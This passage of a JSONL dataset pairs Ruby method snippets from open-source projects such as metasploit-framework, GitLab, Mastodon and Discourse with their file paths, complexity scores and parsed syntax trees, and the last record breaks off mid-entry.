{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/json_hash_file.rb","start_line":14,"raw_source":"def initialize(path)\n    self.path = path\n    @lock = Mutex.new\n    @hash = {}\n    @last = 0\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"path=\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@lock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@hash\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@last\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"1f5167ba-2d1c-4df3-b61c-08254d043832"}
{"repo_name":"forem","file_path":"./repos/forem/app/workers/organizations/delete_worker.rb","start_line":10,"raw_source":"def perform(organization_id, operator_id, deleted_by_org_admin)\n      org = Organization.find_by(id: organization_id)\n      return unless org\n\n      user = User.find_by(id: operator_id)\n      return unless user\n\n      Organizations::Delete.call(org)\n\n      if deleted_by_org_admin\n        user.touch(:organization_info_updated_at)\n        EdgeCache::BustUser.call(user)\n\n        NotifyMailer.with(name: user.name, org_name: org.name, email: user.email).organization_deleted_email.deliver_now\n      end\n\n      audit_log(org, user)\n    rescue StandardError => e\n      ForemStatsClient.count(\"organizations.delete\", 1,\n                             tags: [\"action:failed\", \"organization_id:#{org.id}\", \"user_id:#{user.id}\"])\n      Honeybadger.context({ organization_id: org.id, user_id: user.id })\n      Honeybadger.notify(e)\n    end","complexity_score":35.33,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"organization_id\"]},{\"type\":\"arg\",\"children\":[\"operator_id\"]},{\"type\":\"arg\",\"children\":[\"deleted_by_org_admin\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"org\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Organization\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"organization_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"org\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"operator_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Organizations\"]},\"Delete\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"org\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_by_org_admin\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"touch\",{\"type\":\"sym\",\"children\":[\"organization_info_updated_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EdgeCache\"]},\"BustUser\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotifyMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"org_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"org\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]}]}]}]},\"organization_deleted_email\"]},\"deliver_now\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"audit_log\",{\"type\":\"lvar\",\"children\":[\"org\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ForemStatsClient\"]},\"count\",{\"type\":\"str\",\"children\":[\"organizations.delete\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"action:failed\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"organization_id:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"org\"]},\"id\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user_id:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Honeybadger\"]},\"context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"org\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Honeybadger\"]},\"notify\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"fd909d75-c92e-4a5b-8fbf-0be9e3b83907"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/models/error.rb","start_line":257,"raw_source":"def _deserialize(type, value)\n      case type.to_sym\n      when :Time\n        Time.parse(value)\n      when :Date\n        Date.parse(value)\n      when :String\n        value.to_s\n      when :Integer\n        value.to_i\n      when :Float\n        value.to_f\n      when :Boolean\n        if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n          true\n        else\n          false\n        end\n      when :Object\n        # generic object (usually a Hash), return directly\n        value\n      when /\\AArray<(?<inner_type>.+)>\\z/\n        inner_type = Regexp.last_match[:inner_type]\n        value.map { |v| _deserialize(inner_type, v) }\n      when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n        k_type = Regexp.last_match[:k_type]\n        v_type = Regexp.last_match[:v_type]\n        {}.tap do |hash|\n          value.each do |k, v|\n            hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n          end\n        end\n      else # model\n        # models (e.g. Pet) or oneOf\n        klass = ErrorTrackingOpenAPI.const_get(type)\n        klass.respond_to?(:openapi_one_of) ? klass.build(value) : klass.build_from_hash(value)\n      end\n    end","complexity_score":52.0,"ast_json":"{\"type\":\"def\",\"children\":[\"_deserialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"Time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"Date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"String\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"Integer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_i\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"Float\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_f\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"Boolean\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A(true|t|yes|y|1)\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"Object\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\AArray<(?<inner_type>.+)>\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"inner_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inner_type\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"_deserialize\",{\"type\":\"lvar\",\"children\":[\"inner_type\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"k_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"k_type\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"v_type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"v_type\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"_deserialize\",{\"type\":\"lvar\",\"children\":[\"k_type\"]},{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[null,\"_deserialize\",{\"type\":\"lvar\",\"children\":[\"v_type\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ErrorTrackingOpenAPI\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"openapi_one_of\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"build_from_hash\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"8c48c71e-d04a-4254-94da-2ea154b96620"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/autoroute.rb","start_line":90,"raw_source":"def print_routes\n  if Rex::Socket::SwitchBoard.routes.size > 0\n    tbl =\tMsf::Ui::Console::Table.new(\n      Msf::Ui::Console::Table::Style::Default,\n      'Header'  => \"Active Routing Table\",\n      'Prefix'  => \"\\n\",\n      'Postfix' => \"\\n\",\n      'Columns' =>\n        [\n          'Subnet',\n          'Netmask',\n          'Gateway',\n        ],\n      'ColProps' =>\n        {\n          'Subnet'  => { 'Width' => 17 },\n          'Netmask' => { 'Width' => 17 },\n        })\n    ret = []\n\n    Rex::Socket::SwitchBoard.each { |route|\n      if (route.comm.kind_of?(Msf::Session))\n        gw = \"Session #{route.comm.sid}\"\n      else\n        gw = route.comm.name.split(/::/)[-1]\n      end\n      tbl << [ route.subnet, route.netmask, gw ]\n    }\n      print tbl.to_s\n  else\n    print_status \"No routes have been added yet\"\n  end\n  raise Rex::Script::Completed\nend","complexity_score":38.4,"ast_json":"{\"type\":\"def\",\"children\":[\"print_routes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"SwitchBoard\"]},\"routes\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tbl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Ui\"]},\"Console\"]},\"Table\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Ui\"]},\"Console\"]},\"Table\"]},\"Style\"]},\"Default\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Active Routing Table\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Prefix\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Postfix\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Subnet\"]},{\"type\":\"str\",\"children\":[\"Netmask\"]},{\"type\":\"str\",\"children\":[\"Gateway\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ColProps\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Subnet\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Width\"]},{\"type\":\"int\",\"children\":[17]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Netmask\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Width\"]},{\"type\":\"int\",\"children\":[17]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"SwitchBoard\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"route\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"comm\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Session\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"gw\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Session \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"comm\"]},\"sid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"gw\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"comm\"]},\"name\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"subnet\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"netmask\"]},{\"type\":\"lvar\",\"children\":[\"gw\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"No routes have been added yet\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Script\"]},\"Completed\"]}]}]}]}","id":"c1ef10a9-04b9-4943-924d-951c79b76641"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/telephony/modem.rb","start_line":111,"raw_source":"def commandstate\n    if ! @commandstate \n      @sp.break 10 # tenths of a second\n      @sp.puts '+++'\n      @sp.break 10 # tenths of a second\n      result = get_response(3)\n      if result != 'OK'\n        print( \"Error switching to command state: FAILED\\r\\n\" )\n        return false\n      else\n        @commandstate = true\n      end\n    end\n  \n    return true\t\n  end","complexity_score":14.15,"ast_json":"{\"type\":\"def\",\"children\":[\"commandstate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commandstate\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sp\"]},\"break\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sp\"]},\"puts\",{\"type\":\"str\",\"children\":[\"+++\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sp\"]},\"break\",{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"get_response\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"!=\",{\"type\":\"str\",\"children\":[\"OK\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"str\",\"children\":[\"Error switching to command state: FAILED\\r\\n\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@commandstate\",{\"type\":\"true\",\"children\":[]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"d7703844-5a5b-409d-8dcd-a448d837abd8"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/mailers/user_notifications.rb","start_line":141,"raw_source":"def email_login(user, opts = {})\n    build_user_email_token_by_template(\"user_notifications.email_login\", user, opts[:email_token])\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"email_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"build_user_email_token_by_template\",{\"type\":\"str\",\"children\":[\"user_notifications.email_login\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"email_token\"]}]}]}]}","id":"b4e5b50b-e151-46b9-8503-d782a4e30fd8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20241213170053_validate_not_null_to_account_conversation_conversation_column.rb","start_line":4,"raw_source":"def up\n    connection.execute(<<~SQL.squish)\n      DELETE FROM account_conversations\n      WHERE conversation_id IS NULL\n    SQL\n\n    validate_check_constraint :account_conversations, name: 'account_conversations_conversation_id_null'\n    change_column_null :account_conversations, :conversation_id, false\n    remove_check_constraint :account_conversations, name: 'account_conversations_conversation_id_null'\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM account_conversations\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE conversation_id IS NULL\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_check_constraint\",{\"type\":\"sym\",\"children\":[\"account_conversations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"account_conversations_conversation_id_null\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"change_column_null\",{\"type\":\"sym\",\"children\":[\"account_conversations\"]},{\"type\":\"sym\",\"children\":[\"conversation_id\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"remove_check_constraint\",{\"type\":\"sym\",\"children\":[\"account_conversations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"account_conversations_conversation_id_null\"]}]}]}]}]}]}","id":"805dc3d3-9177-417e-b8a9-685c09878bc9"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/data_import/contact_manager.rb","start_line":12,"raw_source":"def find_or_initialize_contact(params)\n    contact = find_existing_contact(params)\n    contact_params = params.slice(:email, :identifier, :phone_number)\n    contact_params[:phone_number] = format_phone_number(contact_params[:phone_number]) if contact_params[:phone_number].present?\n    contact ||= @account.contacts.new(contact_params)\n    contact\n  end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_initialize_contact\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contact\",{\"type\":\"send\",\"children\":[null,\"find_existing_contact\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"contact_params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"sym\",\"children\":[\"phone_number\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"phone_number\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"phone_number\"]},{\"type\":\"send\",\"children\":[null,\"format_phone_number\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contact_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"phone_number\"]}]}]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contact\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"contacts\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"contact_params\"]}]}]},{\"type\":\"lvar\",\"children\":[\"contact\"]}]}]}","id":"d8183b10-0172-4af6-a198-a5a594e63903"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/instance.rb","start_line":620,"raw_source":"def git_repo\n    @git_repo ||= GitRepo.new(directory, name)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"git_repo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@git_repo\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitRepo\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"directory\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}","id":"b1bb32d9-c488-454a-8a69-87ebea80f7c5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/user/has_settings.rb","start_line":106,"raw_source":"def setting_always_send_emails\n    settings['always_send_emails']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setting_always_send_emails\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"always_send_emails\"]}]}]}","id":"3ab4d5ea-deb6-4535-9aa1-c829546ffc9f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/notifications/create_from_model_service/work_package_strategy.rb","start_line":62,"raw_source":"def self.shared_users(journal)\n    journal.journable.member_principals\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"shared_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"journal\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"journal\"]},\"journable\"]},\"member_principals\"]}]}","id":"4bab7478-a72e-4fa5-8795-ea8d7b21cd5e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/parallel_runner.rb","start_line":23,"raw_source":"def run\n        Runtime::Logger.debug(\"Using parallel runner to trigger tests with arguments: '#{execution_args}'\")\n\n        set_environment!\n        perform_global_setup!\n        create_runtime_log!\n\n        ParallelTests::CLI.new.run(execution_args)\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using parallel runner to trigger tests with arguments: 